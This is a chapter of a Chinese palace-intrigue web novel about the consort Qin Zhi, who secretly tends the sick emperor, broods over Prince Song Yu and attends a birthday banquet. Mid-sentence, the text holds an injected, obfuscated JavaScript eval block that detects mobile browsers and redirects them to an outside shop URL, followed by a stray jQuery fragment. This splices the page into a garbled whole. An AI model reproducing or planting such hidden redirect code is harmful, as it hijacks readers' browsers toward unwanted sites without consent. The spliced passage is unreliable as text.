“秦才人,这苍术应当如何入香?”
秦芝坐在圆凳上,右手握着锦扇为紫陶药罐轻轻扇风,左手撑着额头,桃花眸定格在一处发呆。
“秦才人?”
宫女的声音从极遥远处传来,飘荡进秦芝耳中。
“什么?”秦芝被惊醒。
“嘶!”
秦芝的右手背乍然碰触到滚烫的药罐。
顷刻间,手背上浮起一颗硕大水泡,四周泛白,极为骇人。
祈年殿宫女小芜欲跪下谢罪。
秦芝阻止她下跪,轻吹自己的伤处,安慰她道:“无妨。”
小芜紧张道:“谢才人,等下我便去拿花草膏。”
“没关系,常有的事,你方才问我什么?”
小芜被提醒后,正色道:“御医局已经送来熏香所用苍术,奴婢想问应当如何处理?”
除却用药之外,秦芝也采用些别的法子,譬如熏香,来为皇帝祛湿辟秽。
秦芝思索片刻后,回答:“将苍术薄片浸泡于无灰酒中一日一夜,而后直接置于铜炉中热熏。”
“奴婢知道了,我先去为您拿药,”小芜刚想离开,突然想起祈年殿外等候的人,“才人,林司药正在殿外等您。”
“好,你看一下这药罐,我去去就回。”
小芜点头,接过秦芝手中锦扇。
秦芝一边向外走着,一边继续愣神。
刚刚她之所以被小芜惊醒而烫伤,就是因为这愣神。
自从前几日与宋煜不欢而散后,秦芝时常思及那日发生的事情,极易被牵动情绪。
不知为何,她总是想起那一刻的宋煜,伫立在假山旁,颀长风流身形一如既往,却流露出通身孤寂,如同他们第一次遇见时,他的模样。
秦芝说不清内心深处的感受,只觉得隐隐有些不舒服。
“令姝。”
林司药的呼唤响起。
秦芝快速迎上去,抿嘴轻笑:“司药,宫女说你在等我,是有何事么?”
林司药慈爱笑道:“许久未见,就不许我与你闲谈几句?”
秦芝浅笑摇头,每当与林司药在一块,心情总会轻松许多。
林司药神色转为复杂:“你向尚医局要了苍术,是用于熏香么?”
秦芝点头,回道:“陛下的身子尚未好全,须得苍术熏香以除秽气。”
实际上,以防太医署通过药材来判断皇帝状况,致使满宫皆知,这些日子,都是由祈年殿的采办宫人秘密离宫置办药材,今日是秦芝第一次向御医局要药。
林司药:“不知为何,我心内总惴惴不安,你切勿做什么错事。”
看着林司药忧心的模样,秦芝一瞬间想把所有事情倾吐,但还是压抑下来。
林司药继续说:“虽不知为何你突然得盛宠,我也不知这是否为你所愿,但我总是希望你能快乐。”
秦芝眼底有几分潮意,道:“谢谢你,林姨。”
林司药一拍脑袋:“瞧我,差点忘了正事,小宛现下已经在你宫中了。”
秦芝一怔。
“宸王殿下刚从西北归来,就匆匆回府里安顿小宛,为她置办尚医局的学徒籍,待她及笈后,或做女官,或出宫,由她选择。”
秦芝心情复杂,也就是说宋煜一归来,尚未进宫禀报皇上,就先帮她安置好救下的小宛。
送别林姨后,怀揣着满腹心事的秦芝再度回到祈年殿。
皇帝宋雍已经回宫,立在紫檀桌前,伸直双臂,由两个沉默的宫女为其服侍更衣。
宋雍则看着桌上摊开的一纸奏折,神情莫测。
听到进殿的脚步声,宋雍警觉抬头,眼神凌厉,看到是秦芝后又松懈下来,如一只闲适的老狐狸,又似一头慵懒的老狮,随口一问:“秦才人,你觉得炯儿、煜儿,我这两个儿子如何?”
宋炯和宋煜,即是太子与宸王,亦是如今热门的继任者人选。
按理说,宋炯已经拥有储君名号,且母家贵极,理应胜券在握,可皇帝的却游移不定,态度暧昧,先是赐宋煜封号为宸,又颇为重用。
现下朝堂上也隐隐划分为太子党与宸王党两派,剑拔弩张,针锋相对。
秦芝低头,谨慎道:“臣妾无权评判。”
宋雍并不指望从秦芝这里得到什么答案,对其倾诉着,喃喃自语:“炯儿是我用尽心力的孩子,他出生时,贵妃受了许多罪,我那时便想,今后一定让炯儿成为储君。”
贵妃隆宠二十余年,并非虚言,与皇帝是有真感情的,贵妃的父亲吴巧贺最初不过是个从五品知州,如今却官至户部尚书兼任文渊阁大学士,除却自身能力不错,又焉知不是外戚之故?
不过,皇帝的偏宠却也给他自己带来麻烦,去年轰动一时的江南贪腐案,便是与吴家同气连枝的党羽所致,枝蔓相依处,尽镶金与银,吴家这一艘大船,实在是鱼龙混杂。
不知皇帝派三儿子宋煜下江南查太子党牵涉的这桩大案时,又是何心情。
可吴家到底根基深厚,皇帝也的确偏宠,一场案子查下来,吴家竟然毫发无伤,甚至更加蒸蒸日上。
“却没想到,如今更能干的是另一个儿子。”宋雍苦笑喃喃。
皇帝的声音将秦芝从思考中拉回。
秦芝静静倾听着,她知道宋雍只是需要一双耳朵。
皇帝的心思,无人知晓,就连他今日吐露内心的一番话,秦芝都未猜出他真正的想法。
若他真的一心想让太子宋炯上位,为何又如此重视宋煜,任由宋煜发展壮大自己的势力。
是为权衡掣肘?可他已经时日无多,却仍然一再纵容兄弟之争,乃至愈演愈烈,根本没有必要。
宋雍疲惫坐下,明明才过四十,却有年逾六十老者的老态。
不止因为国事劳累,也有那强劲猛药的缘故。
秦芝走上前去,为其斟茶,叹口气,严肃道:“陛下,您真的不能再喝那药了。”
皇帝望向她,并未言语。
秦芝一跪,坚定道:“臣妾今日必得说此言,这药再喝下去,是无底深渊。”
一瞬间,上首的人并未说话,只有一声轻笑。
宋雍意味深长道:“恐怕你如今是全天下最担忧朕身体的人了。”
秦芝岂能不忧心,皇帝若真因为这药出事,一旦查出来,她会当场人头落地。
“最后一次,两日后,朕就开始好好养病。”
后日,就是万寿节宫宴。
*
宫宴当日,作为“新晋宠妃”的秦芝,被祈年殿宫女强按在偏殿的妆台前梳妆打扮。
铜镜里秾艳姝丽的面孔极为陌生,秦芝对着镜子眨眨眼,颇为奇异,她一向惫懒,甚少作这种浓妆艳抹的妆扮。
倒也不错。
小芜为秦芝别上最后一只金簪,探头与镜中的美人对视,笑嘻嘻道:“才人如此貌美,平日里皆是素淡妆扮,实在太过浪费。”
最终,秦芝到底推脱掉小芜为她挑选的艳丽鱼红织金衣裙,而是选择了更为低调的霁色裙衫。
小芜瘪嘴低声言语:“秦才人既被称为红颜祸水,不如拿出这作妖妃作派来。”
因秦芝日日留在祈年殿,风言风语早已传得沸沸扬扬,祸国殃民这种评价都算温和,朝廷上的言官甚至都上奏谏言,要求赐死秦才人,在他们眼中,皇帝的病都是因为秦芝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842927|208337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所致,秦芝是一切罪恶之源。
不过秦芝倒是不在乎这些,只觉有趣。
只要皇帝能履行诺言放她出宫即可。
秦芝被小井从奢靡辇轿中小心扶下来,看向面前巍峨宏丽的聚元殿,雕梁画栋,琼楼玉宇,与几个月前的上元节宫宴时相比,聚元殿没有任何变化,但她的心境已截然不同。
秦芝甫一踏入聚元殿东偏门,就引起众人的注意,不识秦芝者也会立刻被身边人告知,一时间,嗡嗡议论声骤起,所有人都好奇这个先前名不见经传的小户女子为何突然飞上枝头,引得皇帝垂怜。
秦芝被引到坐席,不由得一怔,明明自己的位分并无变化,可位置却与先前天差地别,她一个才人,竟然居于各位美人之上。
“公公,尊卑有别,这不符合规矩。”秦芝立刻对旁后的小宦侍道。
“若非有尊卑之限,您恐怕要位于众位婕妤之上了,这坐席也是陛下的意思。”
秦芝从前怕默默无闻的自己被盯上,殊不知自打她日夜出没于祈年殿伊始,她就已经活在风暴中心。
既是皇帝之命,她就踏踏实实跪坐到蒲团上。
抬眼一瞧,秦芝刚好与一直紧盯着此处成罗公主宋昭对视。
宋昭眼底含着冷,又藏着诸多不解,见秦芝看过来,慌忙地移开双眼。
秦芝苦笑,自从给皇帝配药,她也许久未去锦安宫,宋昭怕也觉得她是个表里不一的追名逐利之徒。
而宋昭旁边——
是正与身边人交流的宋煜,笑意浅浅。
宋煜雍然而立,不时微微颌首,游刃有余地应对身旁围绕的权贵,带着上位者的疏离,却又有春风化雨之感。
从头到尾,他未曾分给秦芝一个眼神。
此刻与宋煜正在交际的是一名高大魁梧的武将,似是久经风吹日晒,皮肤黝黑,但眸如寒星,如一头蓄势待发的狼。
“那是沈云,大司马沈肃的儿子,沈仪的亲弟弟。”身后有轻快的女声响起,为秦芝解答。
秦芝转头,却是个脸生的妃嫔,在她旁边坐下,应当是个美人位分。
“我姓李,我知道你,秦才人,久仰大名,果然不负美貌盛名。”李美人柳叶长眉,杏眼一弯,似乎对她很是好奇。
来人和善,秦芝亦朝她微笑行礼,打探道:“妹妹只听说过大司马沈肃,战功彪炳,却未曾听说过他的子女。”
李美人讶异道:“他这一双儿女极为有名,你竟全然不知?”
秦芝摇头。
李美人恍然大悟:“听你口音,你大抵非京城人士吧,那也情有可原。”
见秦芝默认不语,李美人便知自己猜对,继续解释:“沈云与沈仪这一对姐弟,可谓双骄,弟弟沈云继承了其父的将才,不过二十,已然战功赫赫,为人高傲,也的确有傲慢的本钱,而他笑脸以对之人,除了皇室,唯有他姐姐——沈仪,亦是京城贵女中最拔尖者,长相好不说,琴棋书画样样精通,又懂诗词歌赋,自小被精心培养,当真是天之骄女。”
“上一次上元节宫宴,听说她因风寒不曾前来,这次应当来了,喏,在那里。”李美人八卦地向秦芝示意沈仪方向。
秦芝看去。
一群贵女最中心处,有一位面容姣好的女子,身着绮纱罗裙,气质楚楚动人,实在是我见犹怜,却与其弟一般,挟带隐约的傲慢。
秦芝一怔,她刚好与沈仪对视,沈仪看到秦芝的面容后愣神一瞬,很快便移开目光。
秦芝问道:“可是万寿节,只有皇家亲眷才能参与,外臣如何入内?”
李美人自然而然回答道:“他们可不是外臣,谁都知道,沈肃是皇后的表亲。”